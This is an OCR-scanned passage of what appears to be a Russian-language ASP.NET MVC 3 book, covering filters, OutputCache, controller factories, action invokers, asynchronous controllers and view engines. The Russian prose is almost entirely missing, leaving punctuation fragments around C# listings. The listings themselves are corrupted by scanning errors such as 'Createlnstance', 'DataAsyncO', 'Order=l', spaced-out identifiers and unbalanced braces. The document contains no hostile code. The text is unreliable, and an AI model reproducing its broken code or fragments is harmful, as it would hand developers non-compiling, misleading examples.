f i l t e r s . A d d ( n e w H a n d l e E r r o r A t t r i b u t e ()) ;
filters .Add (new Prof i l e AHAttribute () ) ;

R e g i s t e r G l o b a l F i l t e r s A p p l i c a t i o n _ S t a r t ,
MVC.
R e g i s t e r G l o b a l F i l t e r s A p p l i c a t i o n _ S t a r t ,
Visual Studio MVC. R e g i s t e r G l o b a l F i l t e r s
G l o b a l F i l t e r C o l l e c t i o n .
Add, :
f i l t e r s .Add (new P r o f i l e A H A t t r i b u t e () ) ;

,
( P r o f i l e A l l A t t r i b u t e ) , , -

383

13.

(ProfileAll).
.

! RegisterGlobalFilters ,
Visual Studio, MVC.
,
/Views/Shared/Error.cshtml.
. , ,
.

,
, 13.24.
13.24. ,
public static void RegisterGlobalFilters(GlobalFilterCollection filters)

filters.Add(new HandleErrorAttribute ());


filters.Add(new ProfileAllAttribute ());
filters.Add(new HandleErrorAttribute () {
ExceptionType = typeof(NullReferenceException),
View = "SpecialError"

>) ;


, .
: , ,
. ,
.
, .
13.25 ,
.
13.25.
using System;
using System.Web.Mvc;
namespace M vcFilters.Infrestructure.Filters (
[AttributeUsage(AttributeTargets.Method I
AttributeTargets.Class , AllowMultiple=true)]
public class SimpleMessageAttribute : FilterAttribute, IActionFilter {
public string Message ( get; set; }
public void OnActionExecuting(ActionExecutingContext filterContext)
filterContext.HttpContext.Response.Write(
string.Form a t ("[Before Action: (0)]", Message));

}
public void OnActionExecuted(ActionExecutedContext filterContext)
filterContext.HttpContext.Response.Write(
string.Form a t ("[After Acti o n : {0}]", Message));
}
}

384

II. ASP.NET 3

, O n X X X .
M e s s a g e .
,
13.26 ( , A t t r i b u t e U s a g e A l l o w M u l t i p l e

true).

13.26.
[SimpleMessage(Message="A")]
[ S i m p l e M e s s a g e ( M e s s a g e = " B " )]
public ActionResult

I n d e x ()

R e s p o n s e . W r i t e ( "A c t io n method

i s ru n n in g ");

return V i e w ();

: .
,
. URL, ,
, . 13.5.

. 13 .5.
M V C Framework ,
. M V C Framework
- .
. , Order,
13.27.

13.27. Order
[SimpleMessage(Message="A", Order=2)]
[SimpleMessage(Message="B", Order=l)]
public A ctionResult

I n d e x ()

R e s p o n s e . W r i t e ( "A c t i o n method i s

ru nn in g");

return V ie w ();

O r d e r i n t , a M VC Framework
. 13.27
O r d e r , (. 13.6).

13.

385

Index
URL: ; h ttp ://b c c lh c st:240S/Exam 3telndc.\

[Before Action: B][Before Action; A]Action method is running[After Action; Aj[After Action: Bj

In d e x
. 13.6.
! , O n A ctio n E xecu tin g
, OnActionExecuted , . MVC
Framework ,
, .
Order ,
, -1. , ,
Order, , Order
, Order.
(, )
Order (, 1), MVC Framework
, .
, , ,
, .
! F i r s t Last. F ir s t
, L a st .
G lo b a l.a sa x .
13.28.

13.28. O rd e r
public static void RegisterGlobalFilters(GlobalFilterCollection filters) {
filters.Add(new HandleErrorAttribute() ) ;
filters.Add(new SimpleMessageAttribute() { Message = "Global", Order = 1 });
)

Order
. ,
(. 13.29). Order.

13.29.
[SimpleMessage(Message="Controller", Order=l)]
public class ExampleController : Controller (
[SimpleMessage(Message="Action", Order=l)]
public ActionResult I n d e x () {
Response.Write("Action method is running");
return V i e w ();

)
}

13 . 4039

386

II. ASP.NET MVC 3

, ,
. 13.7.

. 13.7.

! .
O r d e r
, .
O rd e r .


M V C Framework ,
, . 13.9.

13.9.

R e q u ir e H t t p s

HTTPS

O u tp u tC ach e

V a li d a t e l n p u t
V a lid a t io n A n t iF o r g e r y T o k e n

A sy n c T im e o u t N o A syn cT im eo u t

C h i ld A c t i o n O n l y A t t r ib u t e

,
H t m l.A c t io n H tm l.R e n d e r A c tio n

.
R e q u ir e H t t p s O u tp u tC a ch e .

RequireHttps
R e q u ir e H t t p s HTTPS
. ,
h t t p s :/ / .
H a n d ie N o n H ttp sR e q u e st
, .
GET. POST
.
!
R e q u ir e H t t p s , ,
, . " ,
.

13.

387

OutputCache
OutputCache MVC Framework
,
URL.
,
,
( ). ,
,
.
OutputCache
ASP.NET, ,
Web Forms.
O utputCache
, , Cache-Control.
, , . 13.10.

13.10. O u tp u tC a c h e

Duration

int

,
( )

VaryByParam

string
(

)

ASP.NET

Request.
QueryString Request.Form,
.


".
*,

1. ,

VaryByHeader

string
(

)

ASP.NET

,
HTTP

VaryByCustom

string

, ASP.NET
GetVaryByCustomString Global.asax,

,

. browser

VaryByContentEncoding

string
(

)

ASP.NET

(.. gzip deflate),

388

II. ASP.NET 3
. 13.10

L o c a tio n

O u tp u tC ach eL ocatio n

, .

: S e r v e r (
), C l i e n t (
), D o w n s t r e a m (

HTTP-,
-), S e r v e r A n d C l i e n t (
S e r v e r C l i e n t ) , A n y (
S e r v e r D o w n s t r e a m ) N o n e
( ). ,
A n y

NoStore

bool

t r u e , A S P .N E T

Cach e- C on tro l:

n o - s t o r e ,


,
.

C ach eP ro file

strin g

, A S P .N E T

< o u t p u t C a c h e S e t t i n g s >
W e b . c o n f i g

SqlDependency

strin g

/
,
,
.

S Q L ASP.NET,
.

h t t p : / / m s d n . m i c r o s o f t . c o m /
r u - r u /l i b r a r y /m s l 7 8 6 0 4 .a s p x

OutputCache
.
Html.Action.
MVC 3 ,
, .
15, 13.30 .

13.30.
public class ExampleController : Controller {
public ActionResult Index () {
Response.Write("Action method is running: " + DateTime.Now);
return V i e w ();

}
[OutputCache(Duration = 30)]
public ActionResult ChildAction() {
Response.Write("Child action method is running: " + DateTime.Now);
return V i e w ();

13.

389

.
ChildAction OutputCache.
.
Index .
Response.
13.31 Index.cshtml (
Index).
13.31. ,
01

ViewBag.Title = "Index";
}
<h2>This is the main action view</h2>
OHtml.Action("ChildAction")

, ChildAction .
ChildAction 13.32.
13.32. C h ild A c t io n .c s h t m l

0{
Layout = null;
}

<h4>This is the child action view</h4>


URL, Index.
, , ,
. (
URL, ), , ,
, , .
, (. 13.8).

,
. ,
. ,
, , .
,
, .
.

. 13 .8.

14


.
, ,
.

, ,
, .
. , ,
, MVC.


. 14.1 .
.
11, Controller
12.

. .

.
. MVC Framework
, , . ,
.

. 14 .1.

14.

391


MVC Framework,
.
,
, ,
MVC Framework .


I C o n t r o l l e r F a c t o r y ,
14.1.

14.1. I C o n t r o l l e r F a c t o r y
namespace System.Web.Mvc {
using System.Web.Routing;
using System.Web.SessionState;
public interface IControllerFactory {
IController CreateController(RequestContext requestContext,
string controllerName);
SessionStateBehavior GetControllerSessionBehavior(
RequestContext requestContext, string controllerName);
void ReleaseController (IController controller);

CreateController,
MVC Framework , .
RequestContext,
, , controller
URL.
,
,
- .
, F i r s t C o n t r o l l e r
S e c o n d C o n t r o lle r . 14.2
C u s t o m C o n t r o lle r F a c t o r y .

14.2. C u s t o m C o n t r o lle r F a c t o r y
using
using
using
using
using

System;
System.Web.Mvc;
System.Web.Routing;
System.Web.SessionState;
ControllerExtensibility.Controllers;

namespace ControllerExtensibility.Infrestructure {
public class CustomControllerFactory : IControllerFactory {
public IController CreateController(RequestContext requestContext,
string controllerName) {
Type targetType = null;
switch (controllerName)

392

II. ASP.NET MVC 3


case "":
requestContext.RouteData.Values["controller"] = "First";
targetType = typeof(FirstController);
break;
case "First":
targetType = typeof(FirstController);
break;
case "Second":
targetType = typeof(SecondController);
break;

}
return targetType == null ?
null : (IController)Activator.Createlnstance(targetType);

)
public SessionStateBehavior GetControllerSessionBehavior(
RequestContext requestContext, string controllerName) (
return SessionStateBehavior.Default;

public void ReleaseController(IController controller) {


IDisposable disposable = controller as IDisposable;
if (disposable != null) {
disposable.Dispose();
)

}
)
}
C r e a t e C o n t r o l l e r ,
. .
. , , -
, .
.
14.2 .
,
, MVC Framework.
, controller First
Second, FirstController SecondController.
System.Activator,
, :
(IController)Activator.Createlnstance(targetType);

, controller ,
FirstController. ,
,
.
.
MVC Framework controller
, . ,
First,
controller :
requestContext.RouteData.Values["controller"] = "First";

14.

393

,
, ,
.
MVC Framework.
IC o n tro lle rF a c to r y .
G e tC o n tro llerS e ssio n B eh a v io r MVC Framework
, .
,
.
R e le a s e C o n tr o lle r , ,
C r e a te C o n tr o lle r , . ,
ID isp osab le. ,
D ispose .


MVC Framework
C o n tr o lle rB u ild e r , 14.3.
14.3.
p r o t e c t e d v o i d A p p l i c a t i o n _ S t a r t () {
A r e a R e g i s t r a t i o n .R e g i s t e r A l l A r e a s ();
ControllerBuilder.Current.SetControllerFactory(new CustomControllerFactory ()) ;

R e g i s t e r G l o b a l F i l t e r s ( G l o b a l F i l t e r s .Filters) ;
RegisterRoutes(RouteTable.Routes);
)



, D e fa u ltC o n tro lle rF a c to ry .

c o n t r o l l e r (. 11) -
, .
p u b lic.
( a b stra ct).
.
C o n tro lle r.
IC o n tr o lle r .
D e fa u lt C o n t r o lle r F a c t o r y
, , , .
,
(
D e fa u ltC o n tr o lle r F a c to r y ), .
, .
, D e fa u ltC o n tro lle rF a c to ry
. -

394

II. ASP.NET 3

, .
, , .
,

. ,
, .
.


11 ,
.
, ,
. ,
, DefaultControllerFactory
.
,
, .
14.4 , .
14.4.
protected void Application_Start() {
AreaRegistration.RegisterAllAreas ();
ControllerBuilder.Current.DefaultNamespaces.Add("MyControllerNamespace) ;
ControllerBuilder.Current.DefaultNamespaces.A d d ("MyProject.*");
RegisterGlobalFilters(GlobalFilters.Filters);
R e g i s t e r R o u t e s ( R o u t e T a b l e .R o u t e s ) ;

1
, ,
C o n t r o l l e r B u i l d e r . C u r r e n t . D e f a u l t N a m e s p a c e s . A d d . ,
, - .
- ,
- ,
.
. ,
. ,
.
11.


,
. (*)
, 14.4. ,
M y P r o j e c t
. ( ,
, ; .*
, .)

14.

395

D e f a u lt C o n t r o lle r F a c t o r y
, DefaultControllerFactory
.
DI (Dependency Injection
). .
, DI .


DefaultControllerFactory
, .
10. NinjectDependencyResolver,
IDependencyResolver Ninject DI.
DefaultControllerFactory IDependencyResolver.
GetService ,
.


DI .
IControllerActivator,
14.5.

14.5. I C o n t r o l l e r A c t i v a t o r
namespace System.Web.Mvc {
using System.Web.Routing;
public interface IControllerActivator (
IController Create(RequestContext requestContext, Type controllerType);

)
)

Create,
RequestContext, , , ,
.
14.6 .

14.6. I C o n t r o l l e r A c t i v a t o r
using System;
using System.Web.Mvc;
using ControllerExtensibility.Controllers;
namespace ControllerExtensibility.Infrastructure {
public class CustomControllerActivator : IControllerActivator {
public IController Create(System.Web.Routing.RequestContext requestContext,
Type controllerType) {
if (controllerType == typeof(FirstController)) {
controllerType = typeof(SecondController);
)
return DependencyResolver.Current.GetService(controllerType) as IController;

}
}
}

396

II. ASP.NET MVC 3

,
F i r s t C o n t r o l l e r .
S e c o n d C o n t r o l l e r .
I C o n t r o l l e r A c t i v a t o r
. , D e f a u l t C o n t r o l l e r F a c t o r y
, I D e p e n d e n c y R e s o l v e r . G e t S e r v i c e
I C o n t r o l l e r A c t i v a t o r . ,
.
A d d B i n d i n g s N i n j e c t D e p e n d e n c y R e s o l v e r ,
14.7.

14.7.
private void AddBindings () {
//
Bind<IControllerActivator>().To<CustomControllerActivator>();

}

. ,
, ,
14.6.

DefaultControllerFactory

. 14.1 ,
, .
DefaultC o ntro llerFacto ry.

14.1. D e f a u l t C o n t o l l e r F a e t o r y

C reateC on tro ller

IC o n tro lle r

C r e a t e C o n t r o l l e r
I C o n t r o l l e r F a c t o r y .

G e t C o n t r o l l e r T y p e
,
,
,
G etC o n tro llerln stance

G etCo n tro llerT y pe

Type

.

,

G etC o n tro llerln stance

IC o n tro lle r

G e t C o n t r o l l e r l n s t a n c e
. DI SportsStore 7.


,
.
C o n t r o l l e r , .

14.

397

IController
.
12.
IActionlnvoker,
14.8.

14.8. I A c t io n ln v o k e r
namespace System.Web.Mvc (
public interface IActionlnvoker {
bool InvokeAction(ControllerContext ControllerContext, string actionName);

}
)

InvokeAction.
InvokeAction ControllerContext ( 12)
, . bool.
true , , a false
.
, .
.
,
. 14.9 IA ctio n ln v o k e r,
.

14.9.
using System.Web.Mvc;
namespace ControllerExtensibility.Infrastructure {

public class CustomActionlnvoker : IActionlnvoker {


public bool InvokeAction(ControllerContext context, string actionName)
if (actionName == "Index") (
context.HttpContext.Response.W r i t e (
"This is output from the Index action");

r e t u r n true;
} else {

retu rn f a l s e ;
)
)
i
}
'.'''^.
. , .
Index, Response.
, false,
404 Not found ( ).
, ,
Controller.Actionlnvoker. ,
. 14.10
, 14.9.

398

II. ASP.NET MVC 3

1 4 .1 0 .
u s in g S y s te m .W e b .M v c;
using C o n tr o lle rE x te n s ib ility .In fr a s tr u c t u r e ;
namespace C o n t r o l l e r E x t e n s i b i l i t y .C o n t r o l l e r s
public

class

p ublic

Custom ActionlnvokerController

C u s t o m A c t i o n l n v o k e r C o n t r o l l e r ()

: Controller

t h i s . A c t i o n l n v o k e r = new C u s t o m A c t i o n l n v o k e r ( ) ;

}
}

}
.
.
, ,
. ?
-, ,
. -, :
,
. , , ,
MVC Framework,
.


C o n t r o l l e r A c t i o n l n v o k e r
. .
,
.
,
.
p u b lic.

static.

Sy ste m .W e b .M v c.C o n t ro lle r

.
. ,
, C o n t r o l l e r ,
, T o S t r i n g G e t H a s h C o d e ,
I C o n t r o l l e r . , ..
.
, .
, I s S p e c i a l N a m e S y s t e m . R e f l e c t i o n . M e t h o d B a s e ,
.
! , ( MyMethod<T>()),
, MVC Framework
.

14.

399

ControllerActionlnvoker , ,
. , action,
, Index, ControllerActionlnvoker
Index, .
, .
, , , MVC Framework
.


, .
Index Index.
ActionName, 14.11.

14.11.
using System.Web.Mvc;
namespate Actionlnvokers.Controllers {
public class HomeController : Controller {
[ActionName("Index")]
public ActionResult MyAction()
return View ();

}
}

MyAction ,
Index. Index,
MyAction. ActionName
. , MyAction
MyAction.
,
.
,
# (, [ActionNameC'Ussr-Registration")]).
#,
,
HTTP (, [HttpGet] [HttpPost]).
#,
[ActionName] .
: Visual Studio
Add View (
). , MyAction
Add View ( ),
, . 14.2.
, MVC Framework
, Index,
ActionName.
, ActionName, ,
, #.

400

II. ASP.NET MVC 3

. 14.2. Visual Studio ActionName


,
. , ,
, ActionName,
.
MVC Framework
, .
.
, .
8,
HttpPost. Checkout, HttpPost
, -
POST (. 14.12).
14.12. H t t p P o s t

[HttpPost]
public ViewResult Checkout(Cart cart, ShippingDetails shippingDetails) {
//
)
public ViewResult Checkout!)
//


. 14.12
Checkout. , .
HttpPost, ,
. , .
.
,
-: HttpPost POST, HttpGet GET, HttpPut
PUT .. NonAction,
, ,
, ( 14.13).

14.

401

14.13. N o n A c tio n

[NonAction]

public ActionResult M y H e t h o d O
return V i e w ();

M y M e t h o d .
, . ,
private,
; [NonAction] ,
public.


A c t i o n M e t h o d
SelectorAt t r i b u t e , 14.14.
14.14. A c t i o n M e t h o d S e le c t o r A t t r i b u t e
namespace System.Web.Mvc {
us i n g System;
us i n g S y s t e m .R e f l e c t i o n ;
[AttributeUsage(AttributeTargets.Method,
A l l o w M u l t i p l e = false, I n h e r i t e d = t r u e ) ]
p u b l i c a b s t r a c t cl a s s A c t i o n M e t h o d S e l e c t o r A t t r i b u t e : A t t r i b u t e {
public abstract bool IsValidForRequest(ControllerContext ControllerContext,
Methodlnfo methodlnfo);

>
}

A c t i o n M e t h o d S e l e c t o r A t t r i b u t e
IsV a l i d F o r R e q u e s t .
C o n t rollerConte x t , , Methodlnfo,
,
. I s V a l i d F o r R e q u e s t true,
, f a l s e . 14.15
.
14.15.
using System.Reflection;
u s i n g Sy s t e m . W e b . M v c ;
n a m e s p a c e A c t i o n l n v o k e r s .I n f r a s t r u c t u r e {
pu b l i c c l a s s L o c a l A t t r i b u t e : A c t i o n M e t h o d S e l e c t o r A t t r i b u t e {
p u b l i c o v e r r i d e b o o l I s V a l i d F o r R e q u e s t ( C o n t r o l l e r C o n t e x t context,
Methodlnfo methodlnfo) {
re t u r n c o n t e x t .H t t p C o n t e x t .R e q u e s t .IsLocal;
)
}

402

II. ASP.NET MVC 3

t r u e I s V a l i d F o r R e q u e s t ,
.
14.16 ,
.
14.16.

[ActionName("Index")]
public ActionResult FirstMethod() {
return V i e w ((object)"Message from FirstMethod");
)

[Local]
[ActionName("Index")]
public ActionResult SecondMethod() {
return V i e w ((object)"Message from SecondMethod");
}

I n d e x ,
L o c a l . , I s V a l i d F o r R e q u e s t
t r u e , S e c o n d M e t h o d .
, I s V a l i d F o r R e q u e s t f a l s e ,
F i r s t M e t h o d .
,
, .
, .


, ,
, .
, ,
. .
.
,
ActionName.
, ,
false .
, .
, ,
.

, .
, . , ,
.

14.

403


,
f a l s e I n v o k e A c t i o n . , C o n t r o l l e r
H a n d l e U n k n o w n A c t i o n .
4 0 4 - N o t F o u n d ( ).
,
- .
14.17 .
14.17. H a n d le U n k n o w n A c tio n
u s in g

S y s te m .W e b .M v c ;

u s in g

A c tio n ln v o k e rs . In fra s tru c tu re ;

nam espace A c t i o n l n v o k e r s . C o n t r o l le r s
p u b lic

c la s s

p u b lic

re tu rn

H o m e C o n tro lle r

A c tio n R e s u lt

: C o n tro lle r

I n d e x ()

V ie w ();

protected override void HandleUnknownAction(string actionName) {


Response.Write(string.Form a t ("You requested the (0} action",
actionName));

}
1
)

I n d e x .
, R e s p o n s e ,
. 14.3.

. 14.3.


REST

- REST (Representation State Transfer
) , SOAP (Simple
Object Access Protocol ).
REST URL HTTP. URL
. , URL / S t a f f / 1 ,
. HTTP
, . G E T
, P O S T , D E L E T E ..
REST A c t i o n N a m e
, 14.18.

404

II. ASP.NET MVC 3

1 4 .1 8 . - REST
public class StaffController : Controller {
[HttpGet]
[ActionName("Staff")]
public ActionResult StaffGet(int id) {
// ...
}
[HttpPost]
[ActionName("Staff")]
public ActionResult StaffModify(int id, StaffMember person) (
// ...
}
[HttpDelete]
[ActionName("Staff") ]
public ActionResult StaffDelete(int id) {
// ...
}

, G lo b a l.a sa x :
public static void RegisterRoutes(RouteCollection routes)
routes.IgnoreRoute("{resource).ax d / {*pathlnf )");

routes.MapRoute (null, "Staff/{id}",


new { controller = "Staff", action = "Staff" ),
new ( id = @"\d+" /* */ }) ;
routes.MapRoute (
"D e fa u lt ",

//

"{controller}/(action}/(id)", // URL
new ( controller = "Home", action = "Index", id = UrlParameter.Optional }

);
)

StaffM em ber
URL S ta f f /123, -
GET, POST DELETE .
API-, REST.

HTTP
API- REST ,
HTTP. , .NET, Java
Ruby, , . ,
JavaScript AJAX,
( Chrome, Firefox Internet Explorer). ,
- GET POST.
HTML- Flash-.
GET POST.
,
HTTP, ,
. /
, X-HTTP-Method-Override, .
HTTP, HTML-

14.

405

. , POST ,
, MVC ,
DELETE. , -
,
HTTP.

HTTP HTML- MVC


MVC Framework -
.
API- REST HTML-,
, MVC Framework ,
X-HTTP-Method-Override. 14.19 ,
HTTP .
14.19. HTTP

0using (Html.B eginForm()) (


Html.HttpMethodOverride(HttpVerbs.Delete)
c i n p u t t y p e = " s u b m i t " v a l u e = " D e l e t e " />

H tm l.H ttpM eth od O verride HTTP,


.
DELETE. :
c i n p u t n a m e = " X - H T T P - M e t h o d - O v e r r i d e " t y p e = " h i d d e n " v a l u e = " D E L E T E " />

MVC Framework in p u t,
HTTP, R e q u e s t .
G etHttpM ethodOverride.
MVC Framework HTTP
POST. , GET
,
( 11).
! , R equest.H ttpM ethod,
HTTP. , ,
14.19, , HttpMethod POST,
G etH ttpM ethodO verride DELETE.



MVC Framework ,
- MVC.
,
,
.
.

406

II. ASP.NET MVC 3

,

,
,
M VC. .
,
.
- ,
- .
ASP.NET
.
,
. ,
.

.
.
, ,
. ,
. ,
: M V C Framework
, ,
.

I C o n t r o lle r F a c t o r y
, I C o n t r o l l e r F a c t o r y
G e t C o n t r o lle r S e s s io n B e h a v io r ,
S e s s io n S t a t e B e h a v io r . ,
. 14.2.

14.2. S e s s io n S t a t e B e h a v io r

D e f a u lt

ASP.NET,
H tt p C o n te x t

R e q u ir e d

, -

R e a d o n ly

D is a b le d

, I C o n t r o l l e r F a c t o r y
. ,
S e s s io n S t a t e B e h a v io r G e t C o n t r o lle r S e s s io n B e h a v io r .
R e q u e s tC o n t e x t ,
. , . 14.2,
, 14.20.

14.

407

14.20.
public SessionStateBehavior GetControllerSessionBehavior(
RequestContext requestContext, string controllerName) {
switch (controllerName) {
case "Home":
return SessionStateBehavior.Readonly;
case "Other":
return SessionStateBehavior.Required;
default:
return SessionStateBehavior.Default;
}

}___________________________________________________


DefaultControllerFactory

SessionState,
14.21.

14.21. S e s s io n S ta te
using System.Web.Mvc;
using System.Web.SessionState;
namespace SpecialControllers.Controllers {
[SessionState(SessionStateBehavior.Disabled)]
public class HomeController : Controller (
public ActionResult Index () (
return View () ;
}

}
}
S e s s io n S ta te
. ,
SessionStateBehavior (. . 14.2).
, ,
, :
Session["Message"] = "Hello";

:
Message: SSession["Message"]

MVC Framework ,
. , Disabled,
HttpContext.Session null.
Readonly, ,
,
- .
HttpContext.Session,
.

408

II. ASP.NET MVC 3

. ,
ViewBag ViewData.
SessionState .
12.


ASP.NET .NET,
. ,
, .
.
,
.
ASP.NET .

, ,
.

,
.
,
.
MVC. ,
, ,
.
,
,
. ,
, .
!
, . .
. , ,
, .
, ,

. .

.
, -
.
! , , . ,
,
.
, ,
, .
, ,
.

14.

409


, ,
, .
14.22 .

14.22. ,
using System.W e b .M v c ;
using SpecialControllers.Models;
namespace SpecialControllers.Controllers {
public class RemoteDataController : Controller {
public ActionResult Data() {
RemoteService service = new RemoteService();
string data = service.GetRemoteData ();
return V i e w ((object)data);
}

Data,
RemoteService GetRemoteData.
, ,
. RemoteService 14.23.

14.23. , ,

using System.Threading;
namespace SpecialControllers.Models {
public class RemoteService {
public string GetRemoteData() (

Thread.Sleep(2000);
return "Hello from the other side of the world";
}
}

)
, , GetRemoteData.
,
Thread.Sleep,
. Data.cshtml.
:
Smodel string

0!
Vie w B a g .Title = "Data";

}
Data: SModel

URL /RemoteData/Data
, RemoteService GetRemoteData.
( )
, .

410

II. ASP.NET MVC 3

, ,
.
. System.Web.Mvc.Async.IAsyncController,
IController.
,
.NET.
. .
, .

- MVC Framework,
: System.Web.Mvc.AsyncController,
iAsyncController. 14.24
.
14.24.
using System.Web.Mvc;
using Special'Controllers .Models;
using System.Threading.Tasks;
namespace SpecialControllers.Controllers {
public class RemoteDataController : AsyncController {
public void DataAsyncO

AsyncManager.OutstandingOperations.Increment();
T a s k .F actory.StartNew({) => {
//
RemoteService service - new RemoteService();
// -,
String data = service.GetRemoteData() ;
AsyncManager.Parameters["data"] = data;
AsyncManager.OutstandingOperations.Decrement();

}>;
}
public ActionResult DataCompleted(string data) {
return V i e w ((object)data);

)
}
)

, .


, Task.
Factory.StartNew
, TPL (Task Parallel Library ).
, ASP.NET
, .
, TPL
.

14.

411


-
,
. API, Windows (Input/
Output Completion Ports -)
.NET.

A s y n c C o m p le t e d

.
<>Async. <>Async
. ,
, ,
<>Async.
URL /RemoteData/Data
DataAsync. ( , URL
, URL, .
UFy> - /RemoteData/Data.)
Async void. ,
, Async. ,
<>Async .
<>C om pleted .
DataCompleted. ,
.
! ,
A s y n c , , . ,
Completed, .


Async 4 , , ,
MVC Framework, .
DataAsync:
public void

D a t a A s y n c ()

AsyncManager.OutstandingOperations.Increment();
T a s k . F a c t o r y . S t a r t N e w (()

=>

// ...
AsyncManager.OutstandingOperations.Decrement();

>

}) ;

MVC Framework ,
. OutstandingOperations.Increment
AsyncManager.
.
.NET Framework .
TPL, .NET 4.
.NET.
TPL , ,
({ }) StartNew,
, ASP.NET.

II. ASP.NET MVC 3

412

. TPL, Pro .N E T 4 Parallel Programming in

C# (Apress, 2010 .).


Async ,
14.25.

14.25.
p u b lic

v o id

D a t a A s y n c ()

A syncM anager. O u ts ta n d in g O p e ra tio n s .


T a s k .F a c to r y . S ta rtN e w (()
/ /

. . .

=>

Increment(3) ;

AsyncManager.OutstandingOperations.Decrement();

}) ;
Task.F a c to ry .S ta rtN e w (()
/ /

. . .

=>

AsyncManager.OutstandingOperations.Decrement();

>>;
Task.Factory.StartNew(() => {
/ /

. . .

AsyncManager.OutstandingOperations.Decrement();

)) ;
1
.
Increment , . ,
, Decrement.


MVC Framework ,
<>sync, .
AsyncManager. Async increment
AsyncManager , ,
.
, MVC Framework ,
, Async, ,
.
, <efCTBHe>Completed.
DataCompleted:
p u b lic

A c tio n R e s u lt

re tu rn

D a ta C o m p le te d (s trin g

d a ta )

V ie w ( (o b je c t)d a ta );

}
DataCompleted .
,
, MVC Framework.
, (. 12).
string
View ( object,
).

14.

413

A sy n c C o m p le te d
MVC Framework
Async ,
C ompleted .
Parameters A s y n c M a n a g e r /,
14.26.
14.26.
public void DataAsync () {
AsyncManager.OutstandingOperations.Increment();
Ta s k .Factory.StartNew (() => {
//
RemoteService service = new RemoteService () ;
// -,
string data = s ervice.GetRemoteData();
AsyncManager.Parameters["data"] = data;
AsyncManager.OutstandingOperations.Decrement();

});

data data.
, MVC Framework ,
AsyncManager.Parameters,
Completed. data
Async data Completed:
public ActionResult DataCompleted(string data) {

,
AsyncManager. Parameters, Completed .

. MVC
Framework Completed,
( null).

! AsyncManager. Parameters
AsyncManager. Decrement. , Completed
, ,
Completed null.

-
MVC Framework 45
AsyncManager .
45 ,
System.TimeoutException.

- ,
, MVC
ASP.NET. -
, OnException ,
14.27.

414

II. ASP.NET MVC 3

1 4 .2 7 . -
protected override void OnException(ExceptionContext filterContext)
if (filterContext.Exception is System.TimeoutException) (
filterContext.Result = RedirectToAction("TryAgainLater");
filterContext.ExceptionHandled = true;

}
}
- ,
,
.
- AsyncT i m e o u t
<>sync; 14.28.
14.28. -
[AsyncTimeout(10000)]
public void DetaAsyncO

AsyncTimeout ,
MVC Framework ,
<>Async. 14.28 10 .
NoAsyncTimeout - (.
14.29).

14.29. -
[NoAsyncTimeout]
public void DataAsync() {

NoAsyncTimeout, MVC Framework


.
. -
, , AsyncManager.OutstandingOperations.Decrement,
,
.
! -, MVC Framework ,
.
, <>1 .


, AsyncManager.Finish
. MVC Framework ,
<>1.,
. ,
AsyncManager.Parameters, Completed. ,

14.

415

Finish,
, (null ,
..).
!

AsyncManager.Finish

. ,
, , .

.NET
.NET Framework
.
(Asynchronous Programming Model ). .NET
, .
Begin <> <>.
Begin,
, .
IAsyncResult,
End. .
, , .
,
, . ,
4^ 14.30 ,
System.Net.WebRequest, .

14.30.

using
using
using
using
using
using

System;
System.10;
System.Net;
System.Threading.Tasks;
System.Web.Mvc;
SpecialControllers.Models;

namespace SpecialControllers.Controllers {
public class RemoteDataController : AsyncController {
public void P ageA s y n c O {
AsyncManager.OutstandingOperations.Increment();
WebRequest req = WebRequest.Cre a t e ("h t t p ://www.a s p .n et");
r e q .BeginGetResponse( (IAsyncResult ias) => {
WebResponse resp = req.EndGetResponse(ias);
string content = new StreamReader (resp.GetResponseStream()) .ReadToEndO ;
AsyncManager.Parameters I"html"] = content;
A s y n c M a n a g e r .OutstandingOperations.Decrement() ;
}, null);

}
public ContentResult PageCompleted(string html)
return Content(html, "text/html");
}

}
}

416

II. ASP.NET MVC 3

! W e b R e q u e s t . B e g i n G e t R e s p o n s e API .NET, Windows


.NET. - ,
,
.NET , .

HTML-, URL w w w . a s p . n e t ,
W e b R e q u e s t .
B e g i n G e t R e s p o n s e , -
. E n d G e t R e s p o n s e
IAsyncResult, . ,
E n d G e t R e s p o n s e W e b R e s p o n s e ,
.
P a g e C o m p l e t e d
A s y n c M a n a g e r .
,
. , ,
.NET Framework, , , -
.


.
,
.
, .

.
-, .
- .
,
.
,
(. 13).
,
, ,
MVC , .

, MVC Framework
.
, .
. ,
,
.
. MVC
Framework .
.
MVC Framework
( ).

15

12 ,

ActionResult. ,
ViewResult,

.
,
, .
. , , MVC Framework ViewResult
(view engine),
.
Razor (Razor View Engine). ,
, ,
Razor.
MVC.


,
. .
MVC Framework ,
.
Razor, , MVC 3.
, 5.
ASPX (
Web Forms), <%...%>,
ASP.NET Web Forms.
MVC.
,
,
MVC Framework. ,
View Result ,
.
IV iew E ngine,
15.1.

14 . 4039

418

II. ASP.NET MVC 3

1 5 .1 . I V i e w E n g i n e
namespace System.Web.Mvc {
public interface IViewEngine {
ViewEngineResult FindView(ControllerContext C o n t r o l l e r C o n t e x t ,
string viewName, string masterName, bool useCache);
ViewEngineResult FindPartialView(ControllerContext ControllerContext,
string partialViewName, bool useCache);
void ReleaseView(ControllerContext ControllerContext, IView view);
)
)


ViewEngineResult. FindView
FindPartialView ,
( ControllerContext),
, ,
.
ViewResult. ReleaseView ,
.
! MVC Framework
C o n t r o l l e r A c t i o n l n v o k e r ,
IActionlnvoker, 14.

.

ViewEngineResult
MVC Framework, .
.
, ViewEngineResult
:
p u b lic V iew E n g in eR esu lt ( IV iew v ie w ,

IV iew E n gin e v ie w E n g in e )

IView
( ReleaseView ).
,
:
public ViewEngineResult(IEnumerable<string> searchedLocations)

,
. ,
, .
! ViewEngineResult ,
.
,
, MVC Framework. ,
, ,
.

15.

419


IView, 15.2.

15.2. IV ie w
n a m e s p a c e S y s t e m .W e b .M v c

u s i n g S y s t e m .10;

public interface IView {


void Render(ViewContext viewContext,

T e x t Writer writer);

}
}

V i e w E n g i n e R e s u l t IView,
. MVC Framework
R e n d e r . V i e w C o n t e x t 0
. T e x t W r i t e r
.
, , ..
BMecTe*IViewEngine, IView ViewEngineResult
. ,
. ,
,
.
, .

IV ie w
IView. ,
, 15.3.

15.3. IV ie w
using System. 10,-

using System.Web.Mvc;
n a m e s p a c e V i e w s .I n f r a s t r u c t u r e .C u s t o m V i e w E n g i n e

p ub l i c class D e b u g D a t a V i e w : IView (

public void Render(ViewContext viewContext, TextWriter writer)


Write(writer,
foreach

"--- R o u t i n g D a t a --- ");

//

( s t r i n g k e y in v i e w C o n t e x t .R o u t e D a t a .V a l u e s .K e y s ) (

